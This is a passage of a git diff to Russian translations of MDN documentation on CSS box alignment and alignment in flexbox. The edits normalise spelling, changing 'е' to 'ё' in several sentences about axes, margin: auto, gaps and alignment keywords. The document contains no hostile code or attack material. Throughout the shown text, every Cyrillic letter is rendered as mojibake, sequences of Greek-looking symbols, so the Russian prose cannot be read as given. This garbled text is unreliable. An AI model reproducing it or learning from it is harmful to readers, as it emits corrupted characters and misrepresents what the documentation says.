- <li>ΠŸΠΎΠΏΠ΅Ρ€Π΅Ρ‡Π½Π°Ρ ось = ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎΠΏΠ΅Ρ€Π΅ΠΊ Π³Π»Π°Π²Π½ΠΎΠΉ оси = Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Ρ‡Π΅Ρ€Π΅Π· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>align-content</code>, <code>align-self</code>/<code>align-items</code></li>
+ <li>ΠŸΠΎΠΏΠ΅Ρ€Π΅Ρ‡Π½Π°Ρ ось = ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎΠΏΠ΅Ρ€Ρ‘ΠΊ Π³Π»Π°Π²Π½ΠΎΠΉ оси = Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Ρ‡Π΅Ρ€Π΅Π· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>align-content</code>, <code>align-self</code>/<code>align-items</code></li>
</ul>
<h3 id="Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅_ΠΏΠΎ_Π“Π»Π°Π²Π½ΠΎΠΉ_Оси">Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ΠΏΠΎ Π“Π»Π°Π²Π½ΠΎΠΉ Оси</h3>
@@ -48,13 +48,13 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox
<p><span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>justify-self</code> Π½Π΅Ρ‚ ΠΈΠΌΠ΅Π΅Ρ‚ смысла ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ flexbox, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ всСгда ΠΈΠΌΠ΅Π΅ΠΌ Π΄Π΅Π»ΠΎ с ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ΠΌ всСй Π³Ρ€ΡƒΠΏΠΏΡ‹ элСмСнтов.</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>align-self</code> ΠΈΠΌΠ΅Π΅Ρ‚ смысл ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с ΠΏΠΎΠΏΠ΅Ρ€Π΅Ρ‡Π½ΠΎΠΉ осью, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π΅ΡΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ пространство Π²ΠΎ flex ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ Π² этом ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠΈ, ΠΎΠ΄ΠΈΠ½ элСмСнт ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ ΠΈ Π² Π½Π°Ρ‡Π°Π»ΠΎ, ΠΈ Π² ΠΊΠΎΠ½Π΅Ρ†.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>align-self</code> ΠΈΠΌΠ΅Π΅Ρ‚ смысл ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с ΠΏΠΎΠΏΠ΅Ρ€Π΅Ρ‡Π½ΠΎΠΉ осью, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π΅ΡΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ пространство Π²ΠΎ flex ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ Π² этом ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠΈ, ΠΎΠ΄ΠΈΠ½ элСмСнт ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ ΠΈ Π² Π½Π°Ρ‡Π°Π»ΠΎ, ΠΈ Π² ΠΊΠΎΠ½Π΅Ρ†.</span></span></p>
<h2 id="Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅_ΠΈ_свойство_margin_auto">Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ΠΈ свойство margin: auto</h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ flexbox присутствуСт ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ использования, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, понадобится Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>justify-self</code>. НапримСр, ΠΊΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π°Π±ΠΎΡ€ flex элСмСнтов для создания ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ шаблона Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ.</span> <span title="">Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>margin</code> со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>auto</code>.</span> <span title="">Атрибут с Ρ‚Π°ΠΊΠΈΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒ всС доступноС пространство Π² своСм ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠΈ.</span> <span title="">Π’Π°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π±Π»ΠΎΠΊΠ° со свойством <code>margin:auto</code>.</span> <span title="">Установив Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² <code>margin-left</code> ΠΈ <code>margin-right</code> Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>auto</code>, ΠΎΠ±Π΅ стороны нашСго Π±Π»ΠΎΠΊΠ° ΠΏΠΎΠΏΡ‹Ρ‚Π°ΡŽΡ‚ΡΡ Π·Π°Π½ΡΡ‚ΡŒ всС доступноС пространство ΠΈ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, заставят Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ Π±Π»ΠΎΠΊ Π² Ρ†Π΅Π½Ρ‚Ρ€.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ flexbox присутствуСт ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ использования, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, понадобится Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>justify-self</code>. НапримСр, ΠΊΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π°Π±ΠΎΡ€ flex элСмСнтов для создания ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ шаблона Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ.</span> <span title="">Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>margin</code> со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>auto</code>.</span> <span title="">Атрибут с Ρ‚Π°ΠΊΠΈΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒ всС доступноС пространство Π² своём ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠΈ.</span> <span title="">Π’Π°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π±Π»ΠΎΠΊΠ° со свойством <code>margin:auto</code>.</span> <span title="">Установив Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² <code>margin-left</code> ΠΈ <code>margin-right</code> Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>auto</code>, ΠΎΠ±Π΅ стороны нашСго Π±Π»ΠΎΠΊΠ° ΠΏΠΎΠΏΡ‹Ρ‚Π°ΡŽΡ‚ΡΡ Π·Π°Π½ΡΡ‚ΡŒ всС доступноС пространство ΠΈ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, заставят Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ Π±Π»ΠΎΠΊ Π² Ρ†Π΅Π½Ρ‚Ρ€.</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Установив Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°{{cssxref ("margin")}} Π² <code>auto</code> для ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта Π² Π½Π°Π±ΠΎΡ€Π΅ с flex-элСмСнтами, Π²Ρ‹Ρ€ΠΎΠ²Π½Π΅Π½Π½Ρ‹Ρ… с Π½Π°Ρ‡Π°Π»Π°, ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ.</span> <span title="">Π­Ρ‚ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ flexbox ΠΈ свойствами выравнивания.</span> <span title="">Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для элСмСнта со свойством <code>margin: auto</code> Π½Π΅ остаСтся свободного мСста, ΠΎΠ½ станСт вСсти сСбя Ρ‚Π°ΠΊΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ всС ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ flex элСмСнты, ΠΈ сократится Π² объСмС, ΠΏΡ‹Ρ‚Π°ΡΡΡŒ ΡƒΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡ Π² доступноС пространство.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Установив Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°{{cssxref ("margin")}} Π² <code>auto</code> для ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта Π² Π½Π°Π±ΠΎΡ€Π΅ с flex-элСмСнтами, Π²Ρ‹Ρ€ΠΎΠ²Π½Π΅Π½Π½Ρ‹Ρ… с Π½Π°Ρ‡Π°Π»Π°, ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ.</span> <span title="">Π­Ρ‚ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ flexbox ΠΈ свойствами выравнивания.</span> <span title="">Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для элСмСнта со свойством <code>margin: auto</code> Π½Π΅ остаётся свободного мСста, ΠΎΠ½ станСт вСсти сСбя Ρ‚Π°ΠΊΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ всС ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ flex элСмСнты, ΠΈ сократится Π² ΠΎΠ±ΡŠΡ‘ΠΌΠ΅, ΠΏΡ‹Ρ‚Π°ΡΡΡŒ ΡƒΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡ Π² доступноС пространство.</span></span></p>
<p>{{EmbedGHLiveSample("css-examples/box-alignment/flexbox/auto-margins.html", '100%', 500)}}</p>
@@ -70,7 +70,7 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox
<p><span class="tlid-translation translation" lang="ru"><span title="">На Π³Π»Π°Π²Π½ΠΎΠΉ оси Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>column-gap</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Ρ‹Π²Ρ‹ фиксированного Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΌΠ΅ΠΆΠ΄Ρƒ сосСдними элСмСнтами.</span><br>
<br>
- <span title="">На ΠΏΠΎΠΏΠ΅Ρ€Π΅Ρ‡Π½ΠΎΠΉ оси Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>row-gap</code> создаСт Ρ€Π°Π·Ρ€Ρ‹Π² ΠΌΠ΅ΠΆΠ΄Ρƒ сосСдними flex линиями, поэтому Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>flex-wrap</code> Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>wrap</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ эффСкт.</span></span></p>
+ <span title="">На ΠΏΠΎΠΏΠ΅Ρ€Π΅Ρ‡Π½ΠΎΠΉ оси Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>row-gap</code> создаёт Ρ€Π°Π·Ρ€Ρ‹Π² ΠΌΠ΅ΠΆΠ΄Ρƒ сосСдними flex линиями, поэтому Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>flex-wrap</code> Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>wrap</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ эффСкт.</span></span></p>
<div class="note">
<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Начиная с вСрсии 63, Firefox являСтся СдинствСнным Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ свойства Ρ€Π°Π·Ρ€Ρ‹Π²Π° Π² Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ Flexbox.</span></span></p>
diff --git a/files/ru/web/css/css_box_alignment/index.html b/files/ru/web/css/css_box_alignment/index.html
index af449e8cff..e094c861ea 100644
--- a/files/ru/web/css/css_box_alignment/index.html
+++ b/files/ru/web/css/css_box_alignment/index.html
@@ -23,7 +23,7 @@ translation_of: Web/CSS/CSS_Box_Alignment
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_выравнивания_раскладки_сСтки_CSS">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ выравнивания раскладки сСтки CSS</h3>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ с использованиСм Grid Layout, Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ сСтки Π΅ΡΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ пространство послС ΠΏΡ€ΠΎΠΊΠ»Π°Π΄ΠΊΠΈ фиксированных Π΄ΠΎΡ€ΠΎΠΆΠ΅ΠΊ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π½Π° основной оси. Π­Ρ‚ΠΎ пространство распрСдСляСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{cssxref("justify-content")}}. На Π±Π»ΠΎΡ‡Π½ΠΎΠΉ (ΠΏΠΎΠΏΠ΅Ρ€Π΅Ρ‡Π½ΠΎΠΉ) оси Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ элСмСнтов Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈΡ… областСй сСтки контролируСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{cssxref("align-items")}}. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт пСрСопрСдСляСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ элСмСнтов выравнивания, Π·Π°Π΄Π°Π½Π½ΠΎΠ΅ Π² Π³Ρ€ΡƒΠΏΠΏΠ΅, ΠΏΡƒΡ‚Π΅ΠΌ установки {{cssxref("align-self")}} Π² Ρ†Π΅Π½Ρ‚Ρ€.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ с использованиСм Grid Layout, Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ сСтки Π΅ΡΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ пространство послС ΠΏΡ€ΠΎΠΊΠ»Π°Π΄ΠΊΠΈ фиксированных Π΄ΠΎΡ€ΠΎΠΆΠ΅ΠΊ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π½Π° основной оси. Π­Ρ‚ΠΎ пространство распрСдСляСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{cssxref("justify-content")}}. На Π±Π»ΠΎΡ‡Π½ΠΎΠΉ (ΠΏΠΎΠΏΠ΅Ρ€Π΅Ρ‡Π½ΠΎΠΉ) оси Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ элСмСнтов Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈΡ… областСй сСтки контролируСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{cssxref("align-items")}}. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт пСрСопрСдСляСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ элСмСнтов выравнивания, Π·Π°Π΄Π°Π½Π½ΠΎΠ΅ Π² Π³Ρ€ΡƒΠΏΠΏΠ΅, ΠΏΡƒΡ‚Ρ‘ΠΌ установки {{cssxref("align-self")}} Π² Ρ†Π΅Π½Ρ‚Ρ€.</p>
<p>{{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-align-items.html", '100%', 500)}}</p>
@@ -73,7 +73,7 @@ translation_of: Web/CSS/CSS_Box_Alignment
<p><strong>ΠšΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ выравнивания</strong> - это ΠΏΠΎΠ»Π΅, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ выравниваСтся Π²Π½ΡƒΡ‚Ρ€ΠΈ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ это Π±ΡƒΠ΄Π΅Ρ‚ Π±Π»ΠΎΠΊ, содСрТащий ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ выравнивания. ΠšΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ выравнивания ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² выравнивания.</p>
-<p>На ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ рисункС ΠΏΠΎΠΊΠ°Π·Π°Π½ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ выравнивания с двумя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ выравнивания Π²Π½ΡƒΡ‚Ρ€ΠΈ.</p>
+<p>На ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ рисункС ΠΏΠΎΠΊΠ°Π·Π°Π½ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ выравнивания с двумя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ выравнивания Π²Π½ΡƒΡ‚Ρ€ΠΈ.</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/15953/align-container-subjects.png" style="height: 170px; width: 248px;"></p>
@@ -88,7 +88,7 @@ translation_of: Web/CSS/CSS_Box_Alignment
<ul>
<li><strong>Positional alignment</strong> (Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ полоТСния): ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ полоТСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° выравнивания ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΅Π³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° выравнивания.</li>
<li><strong>Baseline alignment</strong> (исходноС Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅): эти ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ΠΊΠ°ΠΊ взаимосвязь ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Π°Π·ΠΎΠ²Ρ‹ΠΌΠΈ линиями Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² выравнивания Π² контСкстС выравнивания.</li>
- <li><strong>Distributed alignment</strong> (распрСдСлСнноС Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅): эти ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ΠΊΠ°ΠΊ распрСдСлСниС пространства ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ выравнивания.</li>
+ <li><strong>Distributed alignment</strong> (распрСдСлённоС Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅): эти ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ΠΊΠ°ΠΊ распрСдСлСниС пространства ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ выравнивания.</li>
</ul>
<h3 id="ЗначСния_ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ…_слов_позиционирования">ЗначСния ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов позиционирования</h3>
@@ -109,7 +109,7 @@ translation_of: Web/CSS/CSS_Box_Alignment
<p>Помимо физичСских Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code>left</code> ΠΈ <code>right</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ относятся ΠΊ физичСским Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌ экрана, всС ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ значСния ΡΠ²Π»ΡΡŽΡ‚ΡΡ логичСскими значСниями ΠΈ относятся ΠΊ Ρ€Π΅ΠΆΠΈΠΌΡƒ записи содСрТимого.</p>
-<p>НапримСр, ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ Π² CSS Grid Layout, Ссли Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ Π½Π° русском языкС ΠΈ устанавливаСтС для Π½Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>justify-content</code> <code>start</code>, это ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΡŽ элСмСнтов Π² встроСнном ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠΈ Π² Π½Π°Ρ‡Π°Π»ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π»Π΅Π²Ρ‹ΠΌ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ прСдлоТСния Π½Π° русском Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ слСва. Если Π²Ρ‹ использовали арабский язык, ΠΏΡ€Π°Π²ΠΎ Π½Π° Π»Π΅Π²Ρ‹ΠΉ язык, Ρ‚ΠΎ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>start</code> ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ элСмСнты ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π²ΠΏΡ€Π°Π²ΠΎ, Ρ‚Π°ΠΊ 